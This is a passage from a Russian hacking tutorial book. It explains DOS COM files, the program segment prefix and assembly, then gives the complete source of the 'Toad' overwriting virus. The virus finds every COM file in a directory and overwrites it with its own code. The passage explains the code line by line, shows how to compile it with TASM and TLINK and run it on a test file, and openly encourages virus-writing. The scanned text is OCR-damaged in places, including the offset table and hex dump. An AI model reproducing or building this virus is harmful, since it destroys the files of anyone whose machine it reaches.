тому же самому физическому адресу 12ВА7 Hex. Программистам
пришлось договариваться о правилах. При написании программ
для микропроцессора 8088 сегментные регистры являлись
подразумеваемыми значениями.

Например, если писалась инструкция mov ax,[bx] и регистр
Ьх равнялся 7, то регистр ах загружался словом, хранившимся в
офсете 7 сегмента данных.

Сегмент данных ds никогда не появлялся в инструкциях,
потому что он в них подразумевался автоматически. Например,
если ds = 12BAH, то вам следовало загрузить слово, хранящееся в
физическом адресе 12ВА7Н.

Микропроцессор 8088 имел четыре сегментных регистра: cs,
ds, ss и es. Они назывались Code Segment (сегмент кода), Data
Segment (сегмент данных), Stack Segment (сегмент стека) и Extra
Segment (дополнительный сегмент). Все они служили разным
целям.

Регистр cs определял 64К-сегмент, где располагались
программные инструкции, выполняемые процессором.

Сегмент данных указывал место для размещения данных
программы.
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Сегмент стека определял, где расположен стек программы.

Регистр es отдавался в распоряжение программиста. Он мог
использоваться для указания сегмента видеопамяти, для записи
данных в видеопамять или в сегмент 40Н, где BIOS хранит
критически важную информацию о низкоуровневой конфигурации
компьютера.

СОМ-файлы, как пережитки времен с 64К доступной памяти,
использовали только один сегмент. Перед выполнением СОМ-
файла DOS устанавливал все сегментные регистры до одного
значения: cs=ds=es=ss. Все данные сохранялись в одном и том же
сегменте, как и код самой программы.

Так как любой сегмент равнялся 64К, СОМ-программа
могла использовать для кода, данных и стека, максимум, 64К.
И поскольку сегментные регистры только подразумевались в
инструкциях, обычная СОМ-программа (не нуждавшаяся в
данных BIOS или видеоданных) никогда не заботилась о них.

Наша программа FLY — хороший пример. Она не содержит
прямых ссылок на какой-либо сегмент. DOS может загрузить ее в
любой сегмент, и она спокойно будет там работать.

Перед загрузкой СОМ-файла в сегмент в офсете 100Н, этот
сегмент настраивался DOS. Кроме того, DOS создавала PSP
(Program Segment Prefix — префикс программного сегмента) в
памяти от офсета 0 до 0FFH (см. табл. 2).

PSP — это тоже наследие от операционной системы СР/М,
когда ОС хранила важные данные о системе в низкой памяти.
Большая часть PSP вообще не используется. Например, она
содержит блоки контроля файлов (FCB — file control blocks) для
открытия/чтения/записи/закрытия файла с помощью функций
DOS - 0FH, ЮН, 14Н, 15Н и т. д.

Никто из здравомыслящих людей не использует эти
функции. Они — атавизм, оставшийся от СР/М. Вместо них
применяли функции 3DH, ЗЕН, 3FH, 40Н и т. д., введенные
разработчиками DOS 2.00. Но!!!!... эти старые функции все же
можно использовать, и необходимые данные в PSP по-прежнему
сохраняются.

Вот почему PSP стал сокровищницей хакеров и пробиркой,
в которой вирусмейкеры выращивают своих маленьких
«зверушек».
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Табл. 2. Формат префикса программного сегмента

Офсет

рн
2

4
5
А
£
12

16
{1С
2Е
50
53
5С

ее
80

100

Размер Описание
2

2

1
5
4
4

4

22
2

34

3
9
16
20

128

-

Инструкция lnt 20H
Адрес последнего назначенного сегмента
^ вершина доступной памяти системы)
Зарезервировано (может быть нулевым)
Удаленный вызов диспетчера функций DOS
Вектор lnt 22H (прерывание программы)
Вектор lnt 23Н (управление Ctrl-C)
Вектор lnt 24H (управление критической
ошибкой)
3арезервировано
Адрес сегмента области среды DOS
Зарезервировано

Инструкция lnt 21Н / RETF

Зарезервировано
Контроль файла - область первого параметра
Контроль файла - область второго параметра
DTA по умолчанию (длина в байтах области
командной строки)
Начинает СОМ-программу

В то же время другие части PSP являются очень даже
полезными.

Например, все, что находится после имени программы в
командной строке для вызова С О М-программы, сохраняется в PSP,
начиная с офсета 80Н.

Если мы вызовем нашу программу FLY следующим образом:

C:\FLYHeltothere!

то PSP будет выглядеть примерно так:
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2750:0000 CD 20 00 9D 00 9A F0 FE-1D FO 4F 03 85 21 8A 03
0
..

!
..0..L

2750:0010 85 21 17 03 85 21 74 21-01 08 01 00 02 FF FF FF .!...!t!

2750:0020 FF FF FF FF FF FFFFFF-FFFFFFFF 32 27 4C 01 2'L

2750:0030 45 2614 00 18 00 50 27-FFFFFFFF00000000E&....P1 .

2750:0040 06 14 00 00 00 00 00 00-00 00 00 00 00 00 00 00

2750:0050 CD 21 CB 00 00 00 00 00-00 00 00 00 00 48 45 4C .! HEL

2750:0060 4C 4F 20 20 20 20 20 20-00 00 00 00 00 54 48 45 LO THE

2750:0070 52 45 21 20 20 20 20 20-00 00 00 00 00 00 00 00 RE!

2750:0080 OE 20 48 65 6C 6C 6F 20-74 68 65 72 65 21 20 OD . Hello there! .

2750:0090 6F 20 74 68 65 72 65 21-20 OD 61 72 64 OD 00 00 о there! .ard...

2750:00A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

2750:00B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

2750:00C0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

2750:00D0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

2750:00E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

2750:00F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
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В 80Н мы находим значение ОЕН, которое является длиной
«Hello there!», за которой следует сама строка, обрываемая
<CR>=0DH. Кроме того, PSP содержит адрес системной среды,
хранящей все «установленные» переменные в AUTOEXEC.BAT, a
также путь, по которому DOS ищет исполняемые файлы, когда вы
напечатали имя в командной строке. Этот путь очень важен для
вируса, так как он говорит ему, где находится множество вкусных и
сочных программ, ожидающих инфицирования.

Последним шагом, совершаемым DOS перед выполнением
СОМ-файла, является установка стека. Обычно стек размещается
на самой вершине сегмента, в котором обитает СОМ-программа
(см. рис. 2). Первые два байта стека всегда устанавливаются DOS
таким образом, чтобы простая инструкция RET могла остановить
СОМ-программу и вернуть контроль DOS (еще один анахронизм
от СР/М). Эти байты устанавливаются в ноль, чтобы вызвать
прыжок к офсету 0, где в PSP хранится инструкция int 20H.
Инструкция int 20H возвращает контроль к DOS. Затем DOS
устанавливает указатель стека sp до FFFE Hex и прыгает к офсету
100Н, вызывая выполнение затребованной СОМ-программы.

Вот так работает СОМ-программа. Разобравшись с ней, мы
займемся созданием простейшего вируса.

S P -

IP

IOFFFFH

Область-стека

Неинициализи-
рованные

данные

Образ
СОМ-файла

P S P

Рис. 2. Карта памяти перед выполнением СОМ-файла
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Переписывающие вирусы

Переписывающие вирусы переписывают свои жертвы. Это
означает, что зараженные программы уже не будут выполняться,
потому что вирус заменил их код своим кодом. Когда пользователь
пытается выполнить зараженную программу, вместо нее
выполняется вирус. Он размножается и при совпадении заданных
условий показывает сообщение или разрушает данные. Это
выглядит так:

Программа Вирус Вирусамма

Рис. 3. Воздействие перезаписывающего вируса на программу

Давайте посмотрим, что делает переписывающий вирус:

1. Находит подходящий файл.

2. Открывает его для чтения/записи.

3. Записывает вирус в файл.

4. Закрывает файл.

5. Вирус завершает действие и передает контроль DOS.

А если найденный файл уже инфицирован? В случае
переписывающих вирусов этот фактор не важен. Но если вы не
хотите, чтобы ваш вирус по сто раз заражал один и тот же файл, мы
позже что-нибудь придумаем. А пока рассмотрим основные шаги.
В качестве примера я использую вирус Toad (Жаба). Ниже
приведен листинг этого демонстрационного вируса. Позже мы
обсудим каждый кусок в отдельности, так что не напрягайтесь,
встретив что-то незнакомое,
code segment

assume cs:code,ds:code

org 100h

toad proc near

first_fly:

mov ah,4eh
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f indj ly:

хог сх.сх

lea dx.comsig

int 21 h

jc wart_growth

open_fly:

mov ax,3dO2h

mov dx,9eh

int 21 h

eat_fly:

xchg bx.ax

mov ah,4Oh

mov ex,offset horny — offset first_fly

lea dx,first_fly

int 21 h

st itchj jp:

mov ah,3eh

int 21h

mov ah,4fh

jmp find_fly

wart_growth:

mov ah,09h

mov dx,offset wart

int 21 h

cya: int 20h

comsig db «*.com»,0

wart db'Поздравления! Вы заразили все СОМ-файлы в этой',10,13

db 'директории вирусом Toad. Хорошего вам дня.',10,13,'$'

horny label near
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toad endp

code ends

end first_fly

Эй! Алле! Вы еще со мной? Этот исходный код я поделил на
отдельные части. Перед тем как мы приступим к объяснениям,
запомните, что наш вирус использует формат СОМ-файла. Он
может иметь длину только в один сегмент или в 65,536 байтов.
Поначалу мы не будем беспокоиться об ограничении размера. Но
позже такие ограничения станут важным фактором в выборе
файлов для инфицирования.

Итак, присмотримся к вирусу Toad. Я думаю, вы уже
подзабыли некоторые хитрости Ассемблера, поэтому постараюсь
напомнить их вам:

code segment

Директива «segment» определяет параметры для сегмента.
В этом примере мы определяем сегмент кода. Весь
исполнительный код (плоть и кровь нашей программы) находится
внутри сегмента кода. Данный сегмент не обязательно должен
называться сегментом «кода». Он называется сегментом «кода»
только по соглашению, принятому среди программистов.
Например, если мы столкнемся с большой программой и она будет
иметь множество разных процедур внешних вызовов, то нам
придется определять сегмент данных отдельно от сегмента кода. Но
поскольку наш кусочек кода очень маленький, то два сегмента
перемешаны.

assume cs:code,ds:code

Предполагаемая процедура лежит внутри сегмента кода и
соответствует имени, которое мы дали сегменту. В этой программе
мы заявляем, что регистры сегментов кода и данных ассоци-
ируются с сегментом «кода». Что это означает? Мы устанавливаем
параметры нашего СОМ-файла! Следуя соглашению програм-
мистов, мы определяем, где и какие фрагменты будут находиться в
нашей программе и как они будут настроены. Чем являются
регистры cs и ds? Регистр сегмента кода будет содержать

49



Варфоломей Собейкис. АЗБУКА ХАКЕРА-3

стартовый адрес сегмента кода вашей программы. По сути, он
говорит компьютеру, где начинать искать наш исполнительный
код.

Другим регистром, достойным упоминания, будет ip —
командный указатель (регистр указателя инструкций). Работой ip
является хранение адреса офсета следующей строки кода, который
должен выполняться.

Вы хотите знать, что такое адрес офсета? Адрес офсета — это
не настоящий адрес строки в вашей программе, а скорее,
расстояние от данной точки до указанного адреса. Таким образом,
регистр сегмента кода, добавленный к командному указателю, даст
вам следующую исполняемую строку в программе. Регистр cs
остается константой, тогда как ip высчитывает строки кода.

org 100h

Здесь мы имеем дело с памятью. Сейчас вы создаете СОМ-
файлы, поэтому директива org 100h должна следовать за
директивой assume. Она говорит компьютеру, что ваш СОМ-файл
расположен по адресу 100 hex или 256 байтов. Значение 100 hex
является расстоянием — офсетом, который находится сразу за PSP.
Значение 100h помещается в ip и говорит компьютеру, откуда
начинать работу. PSP содержит информацию о вашей программе.
Он создается в том сегменте памяти, где загружена программа.
Другими словами, PSP не является постоянной структурой,
которая сохраняется вместе с программой.

toad proc near

Хотя это необязательно, я включил сюда директиву
процедуры — мне хочется показать вам соглашение программистов
по созданию программного кода. Процедура является
подпрограммой внутри сегмента кода. Более крупный вирус
содержит много процедур, вызываемых для выполнения
определенных задач. Мы назначаем процедуре имя и определяем ее
как близкую (near). Когда мы столкнемся с более крупными
программами, которые имеют дело с процедурами вызовов в
разных сегментах, нам придется иметь дело с дальними (far)
процедурами. В данном случае я включил эту директиву для того,
чтобы вы узнавали ее в других примерах кода.

first_fly:
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mov ah,4eh

Вот мы и подошли непосредственно к телу
вируса. Если вы посмотрите на него в целом, то
увидите, что я пометил различные
подпрограммы в коде. Метки должны быть
описательными, чтобы вы понимали действия, выполняемые этими
частями кода. Наша первая подпрограмма названа firstfly (первая
муха). Она напоминает нам, что данная подпрограмма находит
файл для инфицирования. Метка позволяет программе прыгать к
ней, если вам снова понадобится выполнить данную подпрограмму.

В нашем вирусе мы будем использовать четыре регистра
общего назначения: ах, Ьх, сх и dx. Сумматор, или ах используется
для операций I/O (input/output — ввод/вывод) и арифметических
вычислений. Ьх — он же базовый регистр — используется для
вычислений или в качестве индекса для расширенной адресации.
сх, или счетчик, используется для вычислений и для подсчета
циклов в петлевых операциях, dx или регистр данных, подобно ах,
используется для операций I/O, а также для операций умножения
и деления, в которых используются большие числа.

Теперь вернемся к нашей подпрограмме get fly, которая
находит файл для инфицирования. Ее результатом, или output,
будет первый файл, найденный в директории, — файл, обладающий
нужными нам атрибутами. Следовательно, мы должны загрузить
условия в общие регистры и выполнить прерывание.

Хм, я напомню вам, что регистры общего назначения
являются 16-битными: 8 битов в верхней части и 8 — в нижней, ах
делится на две половины: старшую АН и младшую AL. Все
регистры общего назначения следуют той же логике: ВН — BL, СН
- CL и DH - DL

Какие значения нам нужно загрузить в общие регистры для
этой подпрограммы?

Во-первых, 4е hex в АН. Во-вторых, сх должен быть нулевым,
чтобы установить нормальные файловые атрибуты. В-третьих, dx
нуждается в строке, содержащей определение искомого файла.

Чтобы переместить значение 4е hex в АН, мы используем
команду MOV. Команда MOV переносит значение второго
операнда в первый без изменения значения второго операнда.
Иными словами, MOV АН, 4eh перемещает 'значение 4е hex в АН.
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find_fly:

хог сх,сх

Далее, нам нужно обнулить значение сх. Это можно сделать
двумя способами. Первый очевиден: MOV CX, 0. Но истинный
вирусмейкер всегда нацелен на оптимизацию кода. Инструкция
MOV СХ, 0 требует 3 байта, в то время как XOR СХ, СХ берет
только 2 байта. Логическая инструкция «эксклюзивного или»
интересна тем, что при равенстве операндов первый операнд
сбрасывается до нуля.

lea dx, comsig

Затем нам нужно загрузить в dx строку с файловым
определением, по которому мы ищем файл. В данном случае мы
ищем СОМ-файлы. Следовательно, строкой будет *.СОМ.
«Звездочка» заказывает поиск всех файлов с расширением
«.СОМ». Строка определяется в адресе comsig в сегменте данных
нашего вируса.

Чтобы переместить эту строку в dx, нам требуется
инструкция LEA DX, comsig, то есть Load Effective Address —
загрузить эффективный адрес comsig в dx. Для этой операции мы,
конечно, могли бы использовать команду MOV: MOV dx, офсет
comsig, загружая офсет адреса comsig в dx.

int 21h

Команда INT выполняет желаемую функцию, которую вы
установили для нее. Вкратце говоря, программа останавливается, и
таблица векторов прерывания становится доступной для адреса
прерывания, который мы определили. Нам предлагаются 256
возможных прерываний.

Как я уже говорил, прерывание выполняет подпрограмму,
которую мы определяем с помощью загрузки регистров общего
назначения. Теперь пришла пора позаботиться о результате.
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j c w a r t g r o w t h

Нашей следующей инструкцией является условный прыжок.
Если в процессе встречаются некоторые условия, офсет
wart_growth (в данном примере) добавляется в IP, и программа
продолжает свою работу в локации wart growth, которую
определяет пользователь. Существуют множество условных
прыжков и один безусловный прыжок JMP, который прыгает
независимо от существующих условий.

Инструкция прыжка используется для пропуска некоторых
данных или для выполнения другой подпрограммы. В нашем
примере мы выполняем проверку и смотрим, существуют ли какие-
то условия.

Как только прерывание выполняется из предыдущей строки и
если СОМ-программа найдена, флаг переноса устанавливается в
ноль.

Если программа не найдена, флаг переноса устанавливается в
единицу.

Команда JC проверяет, установлен ли флаг переноса в
единицу.

Если да, она прыгает к wartgrowth и выполняет команду в
этом офсете.

Если флаг переноса установлен в ноль, говоря о найденной
программе, прыжок игнорируется и выполняется следующая
строка кода.

Вы забыли, то такое флаг? Вкратце скажем, что флаги хранят
текущий статус компьютера и уже выполненного процесса. Среди
многих других использований, флаги могут сохранять или
проверять определенные условия, которые установлены в
компьютере на данный момент.

open_fly:

mov ax,3dO2h

mov dx,9eh

int 2ih
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Ладно, предположим, что наш вирус успешно нашел в
текущей директории СОМ-файл, и нам теперь нужно открыть его.
Это выполняется с помощью int 21 и определенных настроек
регистров. В AL нужно загрузить код доступа.

Используя код 02h, мы открываем файл в режиме
чтения/записи. OOh в AL откроет файл только для чтения, a O l h в
AL установит только запись.

Помните, что ах является 16-битным регистром и состоит из
двух частей: АН и AL.

Следовательно, мы можем загружать оба значения
одновременно — например, загружая в ах значение 3dO2h. В коде
мы всегда используем шестнадцатиричные значения. Если вы
будете выполнять эти простые DOS-прерывания без подстановки
«h» после int 21, возникнет ошибка.

Позаботившись об ах, мы переходим к dx. В dx нужно
загрузить строку ASCIIZ, которая является именем атакованного
нами файла.

Наверное, вы спросите: «А что там за 9е hex? Это не очень
похоже на имя файла».

Значение 9е hex не является строкой. Оно является офсетом
адреса, содержащего сроку.

Значение 9е hex располагается в PSP, о котором мы говорили
выше, в области, называемой DTA (<D>isk <T>ransfer <A>rea —
область обмена с диском). Как вы помните, PSP стартует в OOh.

Адресом начала DTA является 80 hex. В DTA мы ищем
информацию о файле, найденном в предыдущей подпрограмме.
Нам нужно имя файла, которое находится в офсете leh от начала
DTA.

Если мы сложим эти офсеты вместе, то получим 9eh.
Загружаем это значение в регистр dx и далее обращаемся к int 21h,
чтобы выполнить подпрограмму.

eat_fly:

xchg bx,ax

MOV ah,40h

mov ex,offset homy — offset firstfly

lea dx,first_fly
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int 2 i h

Сейчас перед нами стоит задача реального инфицирования
открытого файла. Для этого мы используем int 21h с 40h
загруженным в АН.

В предыдущей подпрограмме при открытии файла ваш
компьютер назначил файлу уникальный файловый дескриптор и
поместил его в ах. К сожалению, для функции записи этот
дескриптор нужен нам в Ьх. Что делать? Использовать MOV bx,
ах?

Да, это сработало бы, но мы стремимся к оптимизации.
Давайте я познакомлю вас с новой директивой Xchg (или
eXCHanGe — обмен). Эта команда позволяет нам обменивать
данные между двумя регистрами — то, что нам нужно. Используя
xchg вместо mov, мы экономим 1 байт.

Для современных машин один байт является песчинкой на
берегу моря памяти. Но создание крепкого (оптимизированного)
кода является признаком хорошего стиля программирования и
чертой Искусства.

Далее нам нужно загрузить в сх то количество байтов,
которое мы хотим записать. Вместо числового значения мы
используем трюк и позволяем компьютеру рассчитать расстояние
между офсетами предписанных меток.

Мы говорим компьютеру, что расстояние от first_fly до horny
равняется количеству байтов, которое мы хотим записать. Затем
мы загружаем в dx адрес, из которого будет проводиться запись.
Адрес first_fly загружается в dx. Это начало того кода, который мы
хотим записать в атакуемый файл.

Выполняем уже знакомую команду int 2lh, и инфекция
' завершена.

stitchup:
mov ah,3eh
int 21 h
mov ah,4fh
jmp find_fly
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Хорошо, файл инфицирован. Теперь нам нужно закрыть файл
с помощью int 21h и 3eh, вставленных в АН. Поскольку мы уже
поместили файловый дескриптор в Ьх, нам не нужно заботиться о
нем.

Далее, наш вирус стартует и ищет следующий файл для
инфицирования. Мы загружаем 4fh в АН и прыгаем назад к
подпрограмме поиска файла. Наверное, вы уже заметили, что мы
используем те же самые регистры общего назначения.

Вирус Toad представляет собой одну большую петлю. Эта
петля заражает файл за файлом, пока флаг переноса не будет
установлен в единицу, указывая на то, что других СОМ-файлов не
обнаружено. После этого пользователю демонстрируется
сообщение и вирус останавливает свою работу.

wartgrowth:
mov ah, 9
mov dx,offset wart
int 21 h

Следующая подпрограмма может быть удалена без вреда для
вируса. Она просто выводит сообщение на экран. Это делается
загрузкой int 21h с 09h в АН.

Адрес строки с содержанием того, что мы хотим изобразить на
экране, загружается в dx. Фактически, сообщение, изображаемое на
экране, означает конец работы вируса. После него выполняется
следующая строка:

суа: int 20h

После демонстрации сообщения вирусу нужно прервать свое

действие. Загружаем 4СН в АН и выполняем int 21h. Как видите, в

программе используется int 20h. Это древнее, вышедшее из

употребления прерывание, но оно все еще работает. Мы можем

применять любое из двух прерываний. При выборе int 20h нам не

нужно устанавливать регистры.
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comsig db «*.com»,0

wart db 'Поздравления! Вы заразили все СОМ-файлы в згой', 10,13

db 'директории вирусом Toad. Хорошего вам дня.', 10,13,'$'

Теперь мы переходим к более легкой части вируса — к блоку
данных. Именно здесь определяются данные.

Сначала определяем comsig. Это наша сигнатура (подпись)
СОМ-файла — «звездочка» (*) и расширение «.СОМ». Мы
применяем DB (define byte — определяющий байт) и определяем
им строку, которая находится в кавычках.

Предписывая для comsig значение «*.СОМ», мы ставим
запятую и 0, указывая на конец строки.

Предписывая строку wart из нескольких символов, мы
включаем 10 и 13 в конец каждой строки. Если после первой строки
мы не поставим 10 и 13, то две строки сольются и будут выведены
на экран вместе.

Символ $ в конце второй строки завершает полную строку
сообщения.

horny label near

Horny (рогатая) - это метка в процедуре Toad (жаба). Она
действует только как адресный офсет для определения длины
вирусного кода, которым инфицирован файл. Имеется несколько
других применений для директивы метки, но мы поговорим о них
позже.

toad endp
code ends
end first_fly

Следующие три строки завершают код вируса.
«Toad endp» приостанавливает процедуру toad, которая была

инициирована «toad proc near».

«Code ends» определяет конец сегмента кода. Если бы мы
использовали сегмент данных, то нам пришлось бы закрывать его с
помощью «data ends».
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Директива end отмечает конец вируса.

First_fly указывает компьютеру, откуда стартовало
выполнение кода.

Я советую вам комментировать свои коды. Это важно при
написании больших программ. Предваряйте их точкой с запятой.
Ассемблер не компилирует комментарии, поэтому вы можете
использовать их в любом количестве. Я приведу пример:

findjly:

хог сх.сх ;обнуляемзначение сх

lea dx.comsig загружаем сигнатуру corn-файла

int 21 h ;выполняем dos-прерывание

jc wart_growth ;других файлов не
; найдено/сообщение

Ну что же, примите мои поздравления. Вы сделали первый
шаг в вирусмейкерстве и ознакомились не только с
переписывающим вирусом, но и с базовыми инструкциями языка
Ассемблер.

Следующими шагами будет компилирование этого вируса и
проверка его работы. Для компилирования исходного кода
используйте TASM. TASM — очень хороший инструмент.
Компоновщик TLINK превратит конечную работу компилятора в
исполнительную программу. Неважно, какой редактор вы
используете, когда печатаете ASM-файл. Это может быть Блокнот,
Word или Office. Когда будете компилировать вирус, перейдите в
окно DOS и выполните инструкции, приведенные внизу. Чтобы
компилировать вирус, сохраните исходный код как файл «.ASM».
В одной директории с TASM напечатайте:

C:\>tasm toad.asm

(Впрочем, это можно делать из любой директории.) Результат
будет таким:
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Рис. 4. Формат записи директорной строки
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Turbo Assembler Version 5.01
Assembling file: toad.asm

Error Messages: none

Warning Messages: none
Passes: 1
Remaining Memory: 418k (или что-то схожее)

Вы не знаете английского языка? Пытайтесь осваивать его
понемногу. По-русски это означает вот что:

Турбоассемблер версии 5.01

Ассемблированный файл: toad.asm

Сообщения об ошибках: нет

Предупреждающие сообщения: нет

Прогонов: 1

Оставшейся памяти: какое-то значение

Если в коде будет ошибка, TASM укажет на нее в строке
сообщения об ошибке. Если у компилятора будет слишком много
проблем с вашим кодом, переключитесь на директорию «create» и
напечатайте вышеуказанные инструкции снова.

Поместите в эту директорию копии «toad.asm», TASM и
TLINK. TASM конвертирует ASM-файл в OBJ-файл. Чтобы
получить исполнительный СОМ-файл, мы используем
компоновщик.

Напечатайте:

C:\>tlink /t toad.obj

TLINK запишет в текущую директорию файл TOAD.COM.
Перед вами готовый вирус. Не бойтесь, он не кусается.

Теперь вам нужно переместить вирус из текущей директории
в директорию рассадника (pond).

Напечатайте:

С:\>сору toad.com c:\pond\
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Затем напечатайте:
C:\>cd ..\pond

Это перенесет вас в директорию pond.

Далее, пролистайте содержание директории:
C:\pond>dir

Допустим, в этой директории находятся два файла:
TOAD.COM и FLY.COM. T0AD.COM = вирус, а FLY.COM = файл,
который мы собираемся инфицировать.

Для большей демонстрации нам нужен файл, который
меньше вируса. Теперь напечатайте:

C:\pond>toad

Перед вами появится сообщение, определенное в wart. Снова
осмотрите содержание директории. Вы увидите, что оба файла
имеют одинаковый размер. FLY.COM заражен.

Наш вирус заражает файлы даже в том случае, если они уже
были заражены.
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Механизм поиска

Каким же образом вирус ищет новые файлы для инфекции?
Давайте углубимся в эту тему и посмотрим на то, как DOS
сохраняет файлы и информацию о файлах.

Вся информация о каждом файле на диске сохраняется в двух
областях, известных как директория и FAT (File Allocation Table —
таблица размещения файлов). Директория содержит 32-байтовую
запись файлового дескриптора для каждого файла (см. рис. 4).

Эта запись дескриптора содержит имя и расширение файла,
его размер, дату и время создания, а также файловый атрибут,
который включает в себя важную информацию о том, как
операционная система должна управлять этим файлом.

FAT — карта всего диска. Она информирует операционную
систему о том, какой файл занимает ту или иную область.

Каждый диск имеет два FAT, идентичные друг другу. Вторая
таблица является резервной копией на случай порчи первой. Вы
знаете, что диск может иметь множество директорий.

На каждом диске присутствует так называемая корневая
директория, и этот корень может иметь множество поддиректорий,
гнездящихсяодна внутри другой в форме древовидной структуры.
Эти поддиректории можно создавать, использовать и удалять по
воле пользователя. Сложность древовидной структуры зависит от
прихотей пользователя.

Обе FAT и корневая директория располагаются в фикси-
рованной области диска, которая резервируется специально для
них. Поддиректории хранятся как и другие файлы. Их атрибуты
указывают, что данный файл является директорией. Операционная
система управляет поддиректорным файлом иначе, чем обычными
файлами.

Поддиректорный файл состоит из последовательности
32-байтовых записей, описывающих файлы этой директории. Под-
директорный файл может содержать 32-байтовую запись с
атрибутом для данной директории, который указывает, что данный
файл является поддиректорией поддиректории.

DOS контролирует доступы к файлам и поддиректориям.
Если вы хотите прочитать или записать файл, вам не нужно писать
программу для обнаружения нужной директории на диске, читать
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записи дескриптора файла, выяснять, где находится файл, а затем
читать его.

Вместо этого вы даете DOS-директорию и имя файла, затем
просите открыть файл, и дальше операционная система делает все
сама. Данный процесс сохраняет много времени. Вам не нужно
ломать голову над управлениями файлами и «железом».

DOS командует с помощью ISR {interrupt service routines —
подпрограммы обработки прерывания). Прерывание int 21H — это
основная ISR, которую мы будем использовать в вирусах.

Чтобы вызвать ее, нам нужно настроить требуемые регистры
процессора на определенные значения, дабы подпрограмма
обработки прерывания знала, что ей делать. Вот пример кода:

mov ds.SEG FNAME ;ds:dx указывает на имя файла

mov dx.OFFSET FNAME

xor al.al ;al=0

mov ah,3DH iDOS-функция 3D

int 21H ;идет, чтобы выполнить ее

Этот код открывает файл, чье имя сохранено в локации
памяти FNAME, и готовит его для чтения в памяти. Эта функция
приказывает DOS найти данный файл и подготовить его для
чтения. Инструкция «int 21H» передает контроль DOS, и та
выполняет свою работу. Когда DOS заканчивает открывать файл,
контроль возвращается к выражению, непосредственно
следующему за «int 21H». Регистр ah содержит число функции, с
помощью которого DOS определяет вид задания. Другие регистры
устанавливаются иначе в зависимости от того, каков регистр ah.
Они дают DOS дополнительную информацию о том, что нужно
сделать. В вышеуказанном примере регистровая пара ds:dx
указывает на локацию памяти, где хранится имя файла, который
нам нужно открыть. Установка регистра al до нуля приказывает
DOS открыть файл только для чтения.

(Для самостоятельного изучения вирусов я советую вам приобрести
двухтомник Ральфа Брауна и Джима Кайла «Прерывания ПК». Этот труд
расскажет вам о различных доступных функциях — о том, как они работают и за
чем следят.)
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Чтобы найти файлы, пригодные для заражения, вирус
использует DOS-функции поиска.

Люди, создававшие DOS, знали, что многие программы (не
только вирусы) требуют осмотра файлов и действий с ними, если
требуемый тип был найден в процессе поиска. Разработчики вста-
вили парочку поисковых функций в программу обработки преры-
вания int 21H и назвали их Search First (найти первый) и Search
Next (найти следующий).

В принципе, имеются более сложные DOS-функции, но они
требуют перед вызовом большой подготовки. Чтобы определить
директорию и файл для. поиска, мы первым делом настраиваем в
памяти строку ASCIIZ. Это массив байтов, который завершается
нулевым байтом (0).

DOS может находить и сообщать либо о всех файлах в
директории, либо о субнаборе файлов, которые пользователь
определяет по атрибутам и имени файла, используя такие символы,
как «?» и «*». Вы, наверное, знакомы с такими исполнительными
командами, как сору *.* а: и dira???_100.*, которые набираются в
командной строке DOS. Вот пример строки ASCIIZ:

DB '\system\hyper.*',0

Она устанавливает поисковую функцию на осмотр всех
файлов с именем «hyper» с любым возможным расширением в
поддиректории. DOS может найти такие файлы, как hyper.c,
hyper.prn, hyper.exe и т. д. Если вы не указали путь в этой строке, а
напечатали только имя файла (например «*.СОМ»), то DOS будет
осматривать текущую директорию.

После установки ASCIIZ-строки, нам нужно установить
регистры ds и dx до значений сегмента и офсета этой ASCIIZ-
строки в памяти.

Регистр сх должен быть установлен на маску атрибутов
файла, которая подскажет DOS, какие атрибуты файла нужно
применять для поиска, а какие исключать. Логика, стоящая за этой
маской атрибутов, довольно сложна, поэтому мы разберем ее где-
нибудь в последующих томах нашей «Азбуки».


